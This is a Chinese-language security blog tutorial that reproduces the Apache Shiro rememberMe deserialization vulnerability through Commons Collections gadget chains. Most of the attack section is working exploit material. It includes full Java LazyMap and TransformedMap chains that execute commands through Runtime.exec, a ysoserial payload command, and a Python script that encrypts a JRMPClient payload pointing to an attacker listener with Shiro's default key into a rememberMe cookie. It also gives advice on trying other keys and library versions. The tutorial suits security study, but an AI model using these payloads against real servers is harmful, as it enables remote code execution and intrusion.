Java反序列化:Apache-Shiro复现分析
Java反序列化:Apache-Shiro复现分析
看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了。分析调试的shiro也是直接使用了cc链。首先先了解一些java的反射机制。 PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。什么是反射
反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行的时候才动态加载类,并且对于任意一个类,都能够知道这个类的所有属性和方法,调用方法/访问属性,不需要提前在编译期知道运行的对象是谁,他允许运行中的Java程序获取类的信息,并且可以操作类或对象内部属性。程序中对象的类型一般都是在编译期就确定下来的,而当我们的程序在运行时,可能需要动态的加载一些类,这些类因为之前用不到,所以没有加载到jvm,这时,使用Java反射机制可以在运行期动态的创建对象并调用其属性,它是在运行时根据需要才加载。 我们可以在java加载了类进入jvm之后,获取到这个类的实例,并且可以调用这个类的方法,参数之类的。 看一个例子class User{ private String name; private int age; @Override public String toString(){ return "User{" + "name=" +name + ", age="+age+"}"; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } 现在定义了一个类User,这个类有各种的方法和参数。我们将这个类实例化之后,再动态调用它的方法来给它赋值。 public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class clz = user.getClass(); Method method = clz.getMethod("setName", String.class); Method method1 = clz.getMethod("setAge", int.class); method1.invoke(user,21); method.invoke(user,"fortheone"); System.out.println(user); }现在定义了一个类User,这个类有各种的方法和参数。我们将这个类实例化之后,再动态调用它的方法来给它赋值。
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class clz = user.getClass(); Method method = clz.getMethod("setName", String.class); Method method1 = clz.getMethod("setAge", int.class); method1.invoke(user,21); method.invoke(user,"fortheone"); System.out.println(user); }在主方法中实现这些反射调用方法,要抛出以上三个错误,否则会无法执行。 所以一个反射的流程就是:先通过getClass获取到类实例,再通过getMethod获取到类方法,然后再利用invoke方法传入参数进行调用。但是,在这个例子中所调用的方法都是public属性,而在一些类中可能会存在protected或是provide属性,需要用到setAccessible(true)这种方法来解除私有限定。
java序列化与反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。 序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 要注意的是,只有实现了serializeable接口的类才可以进行序列化操作。import java.io.*; public class test1 { public static void main(String[] args){ User user = new User("fortheone", 21); try { // 创建一个FIleOutputStream FileOutputStream fos = new FileOutputStream("./user.ser"); // 将这个FIleOutputStream封装到ObjectOutputStream中 ObjectOutputStream os = new ObjectOutputStream(fos); // 调用writeObject方法,序列化对象到文件user.ser中 os.writeObject(user); System.out.println("读取数据:"); // 创建一个FIleInutputStream FileInputStream fis = new FileInputStream("./user.ser"); // 将FileInputStream封装到ObjectInputStream中 ObjectInputStream oi = new ObjectInputStream(fis); // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型 User user1 = (User)oi.readObject(); user1.info(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } class User implements Serializable{ private String name; private int age; public User(String name, int age) { this.name = name; this.age = age; } public void info(){ System.out.println("Name: "+name+", Age: "+age); } // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{ // System.out.println("[*]执行了自定义的readObject函数"); // } }这是一个序列化与反序列化的演示,其中的 FileOutputStream ObjectOutputStream 是java的流处理的转换。首先创建一个文件输出流,然后再使用过滤流来处理,可以提供缓冲写的作用。具体可以参见文章( https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html) 那么在序列化与反序列化的过程中,会有一个问题,就是在反序列化的时候会自动执行类的readObject方法。如果我们在readObject中有恶意的操作,即可造成攻击。如下图:

Apache-CommonsCollections 序列化RCE漏洞分析
环境准备:首先安装idea,然后安装maven插件,使用maven直接安装 CommonsCollections。在pom.xml中加入dependencies> dependency> groupId>commons-collections/groupId> artifactId>commons-collections/artifactId> version>3.1/version> /dependency> /dependencies>即可安装。安装好以后记得要把项目jdk版本与本地jdk版本对应。参考文章( https://blog.csdn.net/qq_22076345/article/details/82392236) 出现了CommonsCollections的包就说明成功了。 漏洞分析: 在InvokeTransformer类中有这两个方法





LazyMap链




import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Constructor; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; import java.io.*; public class test { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value","asdf"); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); // 将lazyMap封装到TiedMapEntry中 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val"); // 通过反射给badAttributeValueExpException的val属性赋值 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close(); // 本地模拟反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = (Object) ois.readObject(); } }
TransformedMap利用链
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:jihe中的数据存储形式即是一个索引对应一个值,就像shenfenzheng与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。 其中的checkSetValue方法中,valueTransformer属性调用了transform方法。所以只要将valueTransformer属性设置为我们之前的chainedTransformer即可触发漏洞。


import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class test { public static void main(String[] args) throws Exception { //1.客户端构建攻击代码 //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //反射机制调用AnnotationInvocationHandler类的构造函数 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消构造函数修饰符限制 ctor.setAccessible(true); //获取AnnotationInvocationHandler类实例 Object instance = ctor.newInstance(Retention.class, outerMap); //payload序列化写入文件,模拟网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(instance); //2.服务端读取文件,反序列化,模拟网络传输 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); //服务端反序列化 fin.readObject(); } }
利用Ysoserial 生成payload
下载Ysoserial 然后执行 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe > payload.bin 然后把payload.bin放入项目中,对其进行反序列化


漏洞验证
1、直接使用xray给出的payload测试


import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())python poc.py 监听服务器ip:端口 生成了payload之后,向服务器发送payload的cookie


一些要注意的点
1、在生成payload的时候,使用的key一般是shiro1.2.4默认的key,在实际环境下可能会有其他的key。xray中自带了几个其他的key值用于遍历。 2、实际情况中默认shiro的commons-collections版本为3.2.1 而ysoserial里使用3.2.1的版本时会报错,但是可以使用JRMP。可以多尝试几个 commons-collections的版本。具体还要看环境中的依赖包。
参考文章
https://www.anquanke.com/post/id/211228 https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001